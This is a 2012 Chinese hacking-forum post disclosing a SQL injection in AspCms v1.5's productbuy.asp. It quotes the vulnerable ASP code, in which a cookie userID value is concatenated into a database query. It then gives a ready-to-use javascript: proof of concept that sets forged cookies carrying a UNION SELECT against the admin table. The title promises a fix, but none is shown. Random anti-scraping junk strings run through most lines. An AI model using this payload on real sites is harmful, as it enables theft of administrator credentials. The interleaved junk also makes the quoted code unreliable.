找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2291|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....: ~& t& a3 f' }$ Q+ g) n+ X' X3 a
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。& X& W9 R+ H( M$ J- j& K6 {
废话不多说,看代码:, Q; t* k5 ?1 c7 |! m; O# w6 _
0 H& `0 d& C; q, y# W3 n
<%
; f5 U% X& |3 ]3 w# f' z( E* F; b/ Z
if action = "buy" then
8 n$ v' |+ u1 N$ y% ^- h( Z$ u
! F: {. _! o; N# d* o) D7 R3 p8 T        addOrder()8 x3 o" P5 `2 V/ P6 x$ m
1 s& T( ?% e0 T
else7 p3 z: N) ]2 i/ v+ i2 K

) i! \) T3 @: w6 k* }. b- g        echoContent()
4 h. s! `; t' L8 L! \" f2 m: s7 ]; |3 G' ?+ C/ x  i
end if; s- g: c* V' @/ v. ?. g

; B# Q  c4 i" v) O" R4 _4 B
9 @  b7 i4 F8 X! U3 e  ~: i0 j0 E6 G4 ^
……略过
$ g9 v  [0 z$ z9 N- K
- v( w" t: T& ^! _
8 l( f: U) n- ^9 U8 B7 S. H9 `/ M* A/ l; \
Sub echoContent()' a7 {/ r, B1 y  p, z5 H! @5 j" _
0 ?" }5 ]4 d3 @0 g+ B3 c
        dim id) [  {* O- D. L% B0 j: D7 l
! [2 q$ v1 k( W  F
        id=getForm("id","get")( G! R' B2 ~( M% R" S

. U5 ^* a" C7 w$ a        : t6 O9 y# F; s, k2 p: F
* {0 T2 r4 u  X# v
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
* W1 x1 s4 ]5 A! S- w8 u7 r* R  r" g# z% ?* \$ _
        
4 P  N/ O) Z/ L- w. ^: M* M0 l9 c  S5 y4 S* s
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
# e1 C0 b  z" c2 y* k4 S" J  p/ t" a
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct+ z) b0 N# J, k8 {! k% @" d
& g/ P7 k1 V$ s- n
        Dim templatePath,tempStr% c2 e: v0 {+ `6 T8 l

2 w. X& z4 b8 q8 H5 l9 _' B- u        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"% d" w! L) v: B0 ^( G

2 a8 L" _$ ~) |2 N& y2 h% X
5 n9 D" I+ \( X. a3 V) ]7 C
" Y- O% Z% d7 Q0 `9 ]        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
9 u  I! l& f5 q) V2 f2 F. K+ K6 L) v% w' P) i' u) ^
        selectproduct=rsObj(0)$ \: s- [* O" I7 F' `

9 l0 S7 `/ E3 P5 c( ]9 ~: o* h        
  p1 x4 b$ P( D  F- N  a3 S0 E" [( w0 u6 ^
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
& |  l! L( k% z" C! F; ]; ^! I- m
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
% s1 a' m" r/ x* H0 Z9 ^; h
% ]5 {) Z% r" Y        if rCookie("loginstatus")=1 then  
; i( A9 U' y+ J1 S
  U- f9 ^5 L, l8 K& z! ?$ O( x' h                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
& w+ {- F" J& |6 m' o& G0 ]" i0 j
, {, J+ f0 \4 p' g" e  [& Y0 ]: {1 h# @7 |                linkman=rsObj("truename")
" O4 v9 p8 s7 J. l8 i" I8 S7 ?+ \: d0 p4 v
                gender=rsObj("gender")( n% F* W0 \- u2 _" w! l

6 D+ o) r6 Z& O% |' R* `                phone=rsObj("phone")
. r1 ^" e) z/ Z5 m" ^7 E! i, u8 l9 q9 A! r; B1 S+ A
                mobile=rsObj("mobile")) |! M  v: h) W' P

& `- f1 C% x2 l                email=rsObj("email")
# ~: G5 I9 I) r, j5 P1 a- K* U4 @! J5 n% c7 E" b" |
                qq=rsObj("qq")
* |+ z, B* b: l4 z# U4 z6 ^$ c
) {- s% v' K1 S5 L                address=rsObj("address")
6 L4 C! i% P- g& N' e! H
/ D7 t1 I; ^4 K) m                postcode=rsObj("postcode")6 X% n1 x+ e' h& \1 Q- R; r; d
. B! K7 g$ B8 R) X( J: \6 b
        else % F0 A& a1 Z- \/ X

$ ]; r! f# h3 t. K* a/ G! P: e3 f6 r  v                gender=1
- d, b* K3 t# X" H0 `
5 }- e, r* e( [/ R3 X7 C) V        end if3 `. B1 m( l$ T) x$ b) y
6 S% h9 @' g+ z0 |& d2 m
        rsObj.close()
3 d2 m: t# ?) O, M$ P% A. L2 z' U( e0 ?; g8 D  Q7 k$ F
               
! _' `/ W. c: H5 {% T$ ^# J
4 ^8 L! M4 w, Q        with templateObj . H+ n( r  t" |3 {: O
' D1 Q/ K3 O0 r
                .content=loadFile(templatePath)        8 ?+ @2 z: a, J- I$ W# p

* ?! I; L8 }/ |. Z2 l                .parseHtml()
2 u  b3 |! E6 V
9 f" q+ d+ S9 L2 F: `& n+ S                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
! Y. C) ]2 q4 ~& m# [& p7 i9 J3 N& y* Z" _3 J/ u" u
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                4 o5 u. w* I& S+ S+ t0 y- z, I

* L- ?2 y4 J/ L' O6 y, E7 u$ q, c; k! Y                .content=replaceStr(.content,"[aspcms:gender]",gender)                2 @4 P9 d7 G* e; L) X
: Y: {* y( J4 _3 R0 L
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
  w6 M# v0 E$ T9 J; V* J6 S# D* m+ _% H- D7 H) X$ q
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                : F* \, i" r( i1 [' e4 D
5 `% V$ Q6 e! l! w
                .content=replaceStr(.content,"[aspcms:email]",email)                        
! \/ b+ B) I8 T$ F* `# `
4 i; I6 b) ~$ T7 M- w! y1 A                .content=replaceStr(.content,"[aspcms:qq]",qq)                        % u& e, p0 u1 S# ?4 f  Y

; J, O8 H; M; q4 Y' M) e                .content=replaceStr(.content,"[aspcms:address]",address)                        
9 M! K/ l5 d6 o8 E% C- G9 i
) F" @" D: Y3 s9 G. s/ Z1 d                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
+ Y* G5 V) ?9 i5 F& H1 {+ j  @# d6 |) J: L. N- k
                .parseCommon()                 
6 `4 l+ V: R& b" R2 n3 r# K
2 j) \3 T8 x% \9 O* T- u/ W0 y7 t# J                echo .content
" \" R( |2 m5 O1 P$ d: m( w/ Y* b$ B0 g! Z/ W) w: V
        end with4 y5 B0 G# I9 c

- A) x) H* b0 L6 O+ V  P2 X$ w* Q; F        set templateobj =nothing : terminateAllObjects/ J3 P- V( J  I1 s5 J8 U
+ o1 t2 k# ]4 a- n4 z+ [5 f+ G
End Sub1 ?& c$ }4 Q% `5 z0 I( x
漏洞很明显,没啥好说的
* ^# o3 [. C) A- V9 Q6 B* e* Bpoc:7 L  p+ d; [" ~9 }, [6 R% a. c1 q; E

; }( Z0 Z. L" C3 d2 M. Rjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
+ E* t3 d) @# |* m1 ^, E, Z- Z+ ]; E9 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表